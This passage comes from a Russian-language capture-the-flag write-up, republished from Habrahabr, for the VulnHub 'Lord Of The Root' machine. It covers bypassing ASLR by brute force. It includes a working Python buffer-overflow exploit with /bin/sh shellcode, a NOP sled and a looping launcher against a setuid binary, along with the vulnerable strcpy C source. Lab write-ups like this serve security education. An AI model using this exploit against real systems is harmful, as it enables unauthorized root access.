\u043f\u043e\u0441\u043b\u0435 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0432\u0445\u043e\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438, \u044f \u0437\u0430\u043c\u0435\u0442\u0438\u043b, \u0447\u0442\u043e \u0430\u0434\u0440\u0435\u0441 \u0441\u0442\u0435\u043a\u0430 \u0432\u0441\u0451 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0432 \u0434\u0438\u0430\u043f\u0430\u0437\u043e\u043d\u0435 \u043e\u0442 <i>0xBF000000<\/i> \u0434\u043e <i>0xBFFFFFFF<\/i>.<br \/>  \u0412\u044b\u043f\u043e\u043b\u043d\u0438\u0432 \u043a\u043e\u043c\u0430\u043d\u0434\u0443:  <\/p>\n<pre><code class=\"bash\">$ cat \/proc\/sys\/kernel\/randomize_va_space 2<\/code><\/pre>\n<p>  \u0423\u0431\u0435\u0436\u0434\u0430\u0435\u043c\u0441\u044f, \u0447\u0442\u043e \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0432\u043a\u043b\u044e\u0447\u0435\u043d ASLR. \u0415\u0441\u0442\u044c \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u0432 \u0435\u0433\u043e \u043e\u0431\u0445\u043e\u0434\u0430, \u043e \u043d\u0438\u0445 \u0443\u0436\u0435 \u043d\u0435\u043e\u0434\u043d\u043e\u043a\u0440\u0430\u0442\u043d\u043e \u043f\u0438\u0441\u0430\u043b\u043e\u0441\u044c \u0440\u0430\u043d\u0435\u0435. \u042f \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u0441\u044f \u043d\u0430 BruteForce, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0434\u0438\u0430\u043f\u0430\u0437\u043e\u043d \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u043f\u0430\u043c\u044f\u0442\u0438 \u043d\u0435 \u0442\u0430\u043a\u043e\u0439 \u0431\u043e\u043b\u044c\u0448\u043e\u0439, \u0434\u0430 \u0438 \u0444\u0430\u0439\u043b \u0441\u043b\u0438\u0448\u043a\u043e\u043c \u043f\u0440\u043e\u0441\u0442, \u0447\u0442\u043e\u0431\u044b \u0432\u0441\u0451 \u0443\u0441\u043b\u043e\u0436\u043d\u044f\u0442\u044c.<br \/>  \u041d\u0430\u043c \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f <a href=\"https:\/\/github.com\/longld\/peda\">GDB Peda<\/a>.<br \/>  \u0414\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u0430, \u043d\u0443\u0436\u043d\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c\u0441\u044f \u0441\u043e \u0441\u043c\u0435\u0449\u0435\u043d\u0438\u0435\u043c \u043f\u043e \u043a\u043e\u0442\u043e\u0440\u043e\u043c\u0443 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0430\u0434\u0440\u0435\u0441 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430, \u0438\u043c\u0435\u043d\u043d\u043e \u0435\u0433\u043e \u0438 \u043d\u0443\u0436\u043d\u043e \u0431\u0443\u0434\u0435\u0442 \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u0430\u0442\u044c.<br \/>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/6ef\/633\/5b1\/6ef6335b19dc4e2cbb567214d4983747.png\"\/><br \/>  \u0417\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c \u043d\u0430\u0448 \u0444\u0430\u0439\u043b \u0432 \u043e\u0442\u043b\u0430\u0434\u0447\u0438\u043a\u0435, \u043f\u0435\u0440\u0435\u0434\u0430\u0432 \u0435\u043c\u0443 \u043e\u0447\u0435\u043d\u044c \u0434\u043b\u0438\u043d\u043d\u0443\u044e \u0441\u0442\u0440\u043e\u043a\u0443 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u0430<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/5a0\/d7d\/ff4\/5a0d7dff4c8143d196318b79de37ede2.png\"\/><br \/>  \u041e\u0442\u043b\u0438\u0447\u043d\u043e, \u0430\u0434\u0440\u0435\u0441 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430 (EIP) \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0430\u043d \u043d\u0430\u0448\u0438\u043c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c.<\/p>\n<p>  \u0414\u0430\u043b\u0435\u0435, \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u0432 \u0432 <i>peda<\/i> \u043c\u043e\u0436\u043d\u043e \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c \u0441\u043c\u0435\u0449\u0435\u043d\u0438\u0435 \u043f\u043e \u043a\u043e\u0442\u043e\u0440\u043e\u043c\u0443 \u044d\u0442\u043e\u0442 \u0430\u0434\u0440\u0435\u0441 \u0440\u0430\u0441\u043f\u043e\u043b\u043e\u0436\u0435\u043d. \u0421\u043e\u0437\u0434\u0430\u0451\u043c \u0448\u0430\u0431\u043b\u043e\u043d:<br \/>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/aeb\/459\/194\/aeb45919498c4c66b782973a63e8ea81.png\"\/><\/p>\n<p>  \u0418 \u043f\u043e\u0441\u043b\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0442\u0430\u043a\u043e\u0439 \u0432\u044b\u0432\u043e\u0434:<br \/>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/8cf\/d2c\/f89\/8cfd2cf895a4440787adf83581a6e8fb.png\"\/><\/p>\n<p>  \u0421\u043c\u0435\u0449\u0435\u043d\u0438\u044f \u043d\u0430\u0439\u0434\u0435\u043d\u044b (\u044f \u0431\u0440\u0430\u043b \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0441\u0440\u0435\u0434\u043d\u0435\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0430\u0434\u0440\u0435\u0441\u0430 \u0441\u0442\u0435\u043a\u0430), \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u0438\u0441\u0442\u0443\u043f\u0438\u0442\u044c \u043a \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u0438\u044e \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u0430. \u0422\u0430\u043c \u0436\u0435 \u0432 <i>peda<\/i> \u043c\u043e\u0436\u043d\u043e \u043d\u0430 \u0432\u044b\u0431\u043e\u0440 \u0441\u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0448\u0435\u043b\u043b-\u043a\u043e\u0434:<br \/>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/c48\/1cf\/9e1\/c481cf9e124e439291dd2bb8ac7a5487.png\"\/><\/p>\n<p>  \u041e\u0434\u043d\u0430\u043a\u043e \u0441\u0440\u0430\u0437\u0443 \u0441\u0442\u043e\u0438\u0442 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u0442\u044c, \u0447\u0442\u043e \u0443 \u0432\u0430\u0441 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0434\u0440\u0443\u0433\u0438\u0435 \u0441\u043c\u0435\u0449\u0435\u043d\u0438\u044f.   <\/p>\n<pre><code class=\"python\">#!\/usr\/bin\/python import struct import os  def p(x):     return struct.pack(&quot;&lt;L&quot;, x)  shell = &quot;\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x31\\xc9\\x89\\xca\\x6a\\x0b\\x58\\xcd\\x80&quot;  payload = &quot;&quot;  payload += &quot;A&quot;*171 payload += p(0xbfb1c5ec) payload += &quot;\\x90&quot;*30000 payload += shell  def getFile():     output = subprocess.Popen(['find', '\/SECRET\/', '-type', 'f', '-size', '-7k'], stdout=subprocess.PIPE)     path = output.communicate()[0]     path = path.decode().strip()     return path  while True:     os.system('%s &quot;%s&quot;' %(getFile(), payload))  #os.system('gdb --args %s &quot;%s&quot;' %(getFile(), payload)) <\/code><\/pre>\n<p>  \u041f\u043e\u0441\u043b\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u043a\u0443\u0447\u0443 \u043e\u0448\u0438\u0431\u043e\u043a, \u0438 \u0441\u043f\u0443\u0441\u0442\u044f \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0432\u0440\u0435\u043c\u044f \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c root \u0434\u043e\u0441\u0442\u0443\u043f, \u0430 \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 \u043d\u0438\u043c \u0438 \u0444\u043b\u0430\u0433:<br \/>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/883\/abe\/748\/883abe7489044fa5a890ca378c2bfec8.png\"\/><\/p>\n<p>  P.S. \u041a\u043e\u043c\u0443 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e, \u0432\u043e\u0442 \u0442\u0430\u043a \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u0438 \u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a\u0438, \u0441\u043a\u0440\u0438\u043f\u0442\u0430 \u043c\u0435\u043d\u044f\u044e\u0449\u0435\u0433\u043e \u0444\u0430\u0439\u043b\u044b \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u0430\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430. \u0421\u043a\u0440\u0438\u043f\u0442 switcher.py \u0431\u044b\u043b \u043f\u0440\u043e\u043f\u0438\u0441\u0430\u043d \u0432 cron.  <\/p>\n<div class=\"spoiler\"><b class=\"spoiler_title\">switcher.py<\/b><\/p>\n<div class=\"spoiler_text\">\n<pre><code class=\"python\">#!\/usr\/bin\/python import os from random import randint  targets= [&quot;\/SECRET\/door1\/&quot;,&quot;\/SECRET\/door2\/&quot;,&quot;\/SECRET\/door3\/&quot;] for t in targets:    os.system(&quot;rm &quot;+t+&quot;*&quot;)    os.system(&quot;cp -p other &quot;+t)    os.system(&quot;cp -p &quot;+t+&quot;other &quot;+t+&quot;file&quot;)    os.system(&quot;rm &quot;+t+&quot;other&quot;)  luckyDoor = randint(0,2) t=targets[luckyDoor] os.system(&quot;rm &quot;+t+&quot;*&quot;) os.system(&quot;cp -p buf &quot;+t) os.system(&quot;cp -p &quot;+t+&quot;buf &quot;+t+&quot;file&quot;) os.system(&quot;rm &quot;+t+&quot;buf&quot;)<\/code><\/pre>\n<p>  <\/div>\n<\/div>\n<p>  <\/p>\n<div class=\"spoiler\"><b class=\"spoiler_title\">other.c<\/b><\/p>\n<div class=\"spoiler_text\">\n<pre><code class=\"cpp\">#include &lt;string.h&gt; #include &lt;stdio.h&gt; #include &lt;stdlib.h&gt;  int main(int argc, char *argv[]){         char buff[150];         if(argc &lt;2){                 printf(&quot;Syntax: %s &lt;input string&gt;\\n&quot;, argv[0]);                 exit (0);          }   \/\/This Program does nothing   return 0;  }<\/code><\/pre>\n<p>  <\/div>\n<\/div>\n<p>  <\/p>\n<div class=\"spoiler\"><b class=\"spoiler_title\">buf.c<\/b><\/p>\n<div class=\"spoiler_text\">\n<pre><code class=\"cpp\">#include &lt;string.h&gt; #include &lt;stdio.h&gt; #include &lt;stdlib.h&gt;  int main(int argc, char *argv[]){  \tchar buff[159]; \tif(argc &lt;2){    \t\tprintf(&quot;Syntax: %s &lt;input string&gt;\\n&quot;, argv[0]); \t\texit (0);       \t}   strcpy(buff, argv[1]);   return 0;  }<\/code><\/pre>\n<p>  <\/div>\n<\/div>\n<p> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habrahabr.ru\/post\/318238\/\"> https:\/\/habrahabr.ru\/post\/318238\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/444\/c9b\/a38\/444c9ba38e9840538347246124d2d54f.png\"\/><\/p>\n<p>  \u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u043c \u0440\u0430\u0437\u0431\u043e\u0440 \u043a\u0432\u0435\u0441\u0442\u043e\u0432 \u0441 <a href=\"https:\/\/www.vulnhub.com\">VulnHub<\/a>, \u043d\u0430 \u044d\u0442\u043e\u0442 \u0440\u0430\u0437 \u043f\u043e\u043f\u0430\u043b\u0441\u044f \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0439 \u0441 \u043e\u0431\u0445\u043e\u0434\u043e\u043c ASLR: <a href=\"https:\/\/www.vulnhub.com\/entry\/lord-of-the-root-1,129\/\">Lord Of The Root<\/a>. \u041d\u043e \u043e\u0431\u043e \u0432\u0441\u0451\u043c \u043f\u043e \u043f\u043e\u0440\u044f\u0434\u043a\u0443&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-283225","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/283225","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=283225"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/283225\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=283225"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=283225"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=283225"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}